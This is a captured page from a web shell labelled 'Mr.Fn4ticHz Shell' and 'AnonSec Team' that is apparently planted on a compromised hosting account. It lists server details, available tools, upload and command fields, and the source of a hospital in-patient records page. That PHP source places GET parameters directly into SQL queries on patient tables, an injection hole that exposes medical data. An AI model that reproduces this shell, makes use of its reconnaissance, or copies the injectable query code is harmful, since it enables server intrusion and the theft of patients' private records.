Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.119.235.154
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/InPatientMRD.php
<?php
session_start();
require_once("../LoginManager.php");
require_once("../DBManager.php");
include("workdeskmenu.php");
include("header.php");
?>
  <style>

 
 
 .p{
     color: black;
          font-weight: 900;
 }
/* Automatic Serial Number Row */
.css-serial {
     font-weight: 900;
       color: black;
 counter-reset: serial-number; /* Set the serial number counter to 0 */
}
.css-serial td:first-child:before {
 counter-increment: serial-number; /* Increment the serial number counter */
 content: counter(serial-number); /* Display the counter */
}
</style>

                        
                                       <style>

#topright {
    position: absolute;
    right: 0;
    top: 0;
     margin-top: 73px;
       margin-right: 30px;
    display: block;
    height: 70px;
    width: 70px;
    background: url(TRbanner.gif) no-repeat;
    text-indent: -999em;
    text-decoration: none;
}
#toprightj {
    position: absolute;
    right: 0;
    top: 0;
     margin-top: 73px;
       margin-right: 120px;
    display: block;
    height: 70px;
    width: 70px;
    background: url(TRbanner.gif) no-repeat;
    text-indent: -999em;
    text-decoration: none;
}


#toprightb {
   
    position: absolute;
    right: 0;
    top: 0;
     margin-top: 73px;
       margin-right: 200px;
    display: block;
    height: 70px;
    width: 70px;
    background: url(TRbanner.gif) no-repeat;
    text-indent: -999em;
    text-decoration: none;
}

       .center {
   border: 1px solid grey;
   text-align:;
}
    .center2 {
   border: 5px solid grey;
   text-align:;
}
</style>
           
         
               <style>
 
h2 {
  color: #4287f5;
}
a img {
  border: none;
}

#memo {
  padding-top: 50px;
  margin: 0 20px 0 60px;
  border-bottom: 1px solid #ddd;
  height: 150px;
}
#memo .logo {
  float: left;
  margin-right: 20px;
}
#memo .logo img {
  width: 150px;
  height: 100px;
}
#memo .company-info {
  float: right;
  text-align: right;
}
#memo .company-info > div:first-child {

  font-weight: bold;
  font-size: 22px;
  color: #1e73be;
}
#memo .company-info span {
  font-size: 11px;
  min-width: 20px;
}

</style> 
 <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="Dashboard">
    <meta name="keyword" content="Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">
        <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.0/jquery.min.js"></script>  
           <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" />  
           <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js"></script> 
    <title>In House Patient</title>
 
  <body>
      
           
          	<style>
    form{
        margin: 20px 0;
    }
    form input, button{
        padding: 5px;
    }
    table{
        width: 100%;
        margin-bottom: 20px;
		border-collapse: collapse;
    }
    table, th, td{
        border: 1px solid #cdcdcd;
    }
    table th, table td{
        padding: 10px;
        text-align: left;
    }
	<style>
           
			table{
    border: solid 1px gray;
    width: 100%;
  }
  </style>
  
  
  <script>
function myFunction() {
  var checkBox = document.getElementById("myCheck");
  var text = document.getElementById("text");
  if (checkBox.checked == true){
    text.style.display = "block";
  } else {
     text.style.display = "none";
  }
}
// function myFunction2() {
//   var checkBox = document.getElementById("myCheck2");
//   var text = document.getElementById("text2");
//   if (checkBox.checked == true){
//     text.style.display = "block";
//   } else {
//      text.style.display = "none";
//   }
// }
</script>
  </head>

    

                       


 

                        
                        
                               
                                        
                                
                                 	  
 



	
       





                                 
                                 
                                 <h3 Align='center'>MRD - In Patient </h3>              
                                        <br>
                                        

  <?php
include("dbconnection.php");

         $sql1 ="SELECT * FROM patient WHERE patientid='$_GET[patientid]'";
		$qsql1 = mysqli_query($con,$sql1);
		if($rspi1 = mysqli_fetch_array($qsql1))
		{
	
	$sqlpatient1 = "SELECT * FROM site_users WHERE userno='$rspi1[entered_by]'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	if($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	   
	    
	    echo"

<br>
<div class='checkbox'><span style='float: left; font-size:19px;margin-left: 11px;'>UHID : <b>$rspi1[patientid]</b></span><span style='float: right; font-size:19px;margin-right: 11px;'>Name :<b>$rspi1[patientname]</b></span></div>
     <br>
     <div class='checkbox'><span style='float: left; font-size:19px;margin-left: 11px;'>Age: <b>$rspi1[dob]</b></span><span style='float: right; font-size:19px;margin-right: 11px;'>SEX :<b>$rspi1[gendor]</b></span></div>
              <div class='card-body'>
                
      
      ";
	}}

	?>                             
                                      
                                       
                                       </span> 
    <table class="order-table table-borderd css-serial" id='myTable'>
    
                  <tr>
               <th>SR No</th>
           
             <th>Patient Details </th>
             <th>Status </th>
       
      
               </tr>
    
                  
      
    

<?php

 	    
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
                          
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
		    

		   
		 $mrd_opd ="SELECT * FROM mrd_ipd "; 
		$qmrd_opd = mysqli_query($con,$mrd_opd);
		while($rmrd_opd = mysqli_fetch_array($qmrd_opd))
		{    
		  $sql3 ="SELECT * FROM save_activity WHERE userno='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]' AND discription='$rmrd_opd[discription]'"; 
		$qsql3 = mysqli_query($con,$sql3);
		$rsr = mysqli_fetch_array($qsql3);
		   
		    
		echo "<tr>
                  <td>&nbsp;</td>
                 
                 <td>
                  
                 <b>Discription :</b> $rmrd_opd[discription] $rsr[srno]<br>";
                    echo "</td>
                 <td>";
                 
                 if($rmrd_opd['discription']==$rsr['discription']){
                     $check="<i class='fa fa-check-square-o' aria-hidden='true' style='color:green;'></i>";
                 }else{
                     $check="<i class='fa fa-times' aria-hidden='true' style='color:red;'></i>";
                 }
                 
                 
                echo $check;
                echo "</td>
                  
                 	
                					  
          </tr>                   
          
          ";


}

}



?>    

        </table>
  
     
     
    </div>
    </div>
    <html>
<head>
	<title>Select only one checkbox at time</title>
	<script src="http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js"></script>
</head>
<body>

   
</body>
</html>
    


     <script src="https://code.jquery.com/jquery-3.5.1.js"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta1/dist/js/bootstrap.bundle.min.js"></script>

Anon7 - 2022
AnonSec Team